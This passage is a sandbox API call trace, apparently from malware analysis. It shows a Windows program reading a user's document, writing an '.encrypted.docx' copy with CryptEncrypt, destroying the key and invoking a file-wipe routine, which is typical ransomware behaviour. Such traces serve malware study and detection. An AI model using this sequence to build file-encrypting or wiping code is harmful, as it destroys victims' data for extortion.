lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0023.866] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.866] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.866] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.866] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\" (normalized: "c:\\users\\5jghkoaofdp\\documents")) returned 0x11 [0023.867] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\6hmkgL288Io-nw73.encrypted.docx" (normalized: "c:\\users\\5jghkoaofdp\\documents\\6hmkgl288io-nw73.encrypted.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0023.867] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.867] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.867] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.867] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.868] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0023.868] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0xc044, lpOverlapped=0x0) returned 1 [0023.870] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0023.872] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.872] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.872] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.872] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0023.873] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.873] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.873] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0023.873] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.873] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0023.873] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.873] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.873] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.873] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0023.874] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.874] CryptGetKeyParam (in: hKey=0xe8f40623a0, dwParam=0x7, pbData=0xe8f4064a80, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064a80*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0023.874] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.874] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.874] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.874] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.874] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.874] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.874] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.874] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.874] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0023.874] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.874] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.874] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0023.874] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.874] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.874] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0023.874] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.874] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.874] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.874] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.874] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.875] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.875] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.875] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.875] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.875] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.875] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xc044, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xc050) returned 1 [0023.875] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.875] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.875] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.875] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.875] CharLowerBuffW (in: lpsz="byte[49233]", cchLength=0xb | out: lpsz="byte[49233]") returned 0xb [0023.875] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.876] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.876] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.876] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.876] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.876] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f41e4ac0*, pdwDataLen=0xe8f3dfdf68*=0xc044, dwBufLen=0xc050 | out: pbData=0xe8f41e4ac0*, pdwDataLen=0xe8f3dfdf68*=0xc050) returned 1 [0023.876] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.876] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.876] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.876] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.876] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.876] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.876] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0023.876] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.877] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0023.877] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.877] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.877] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.877] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.877] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0023.877] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.877] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.877] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.880] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.880] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.880] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.881] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.881] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.881] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0023.881] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.881] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.881] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0023.881] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.881] CryptDestroyKey (hKey=0xe8f40623a0) returned 1 [0023.881] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.881] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.881] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0023.881] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.881] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0023.881] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0023.881] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0023.881] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.881] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.881] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0023.882] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.882] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.882] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.882] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.882] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.882] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0023.882] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.882] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0023.882] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.882] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.882] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.882] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.882] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0023.882] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.882] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.882] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0023.882] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0023.882] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0023.882] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.882] CryptReleaseContext (hProv=0xe8f40633e0, dwFlags=0x0) returned 1 [0023.882] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.882] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.882] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0023.882] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.882] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.882] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.883] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.885] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.887] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.887] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0023.887] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.887] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.887] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.887] CharLowerBuffW (in: lpsz="byte[49220]", cchLength=0xb | out: lpsz="byte[49220]") returned 0xb [0023.889] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.889] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0023.889] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.889] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0023.889] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.889] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.889] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.889] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0023.889] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.889] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.889] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.889] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 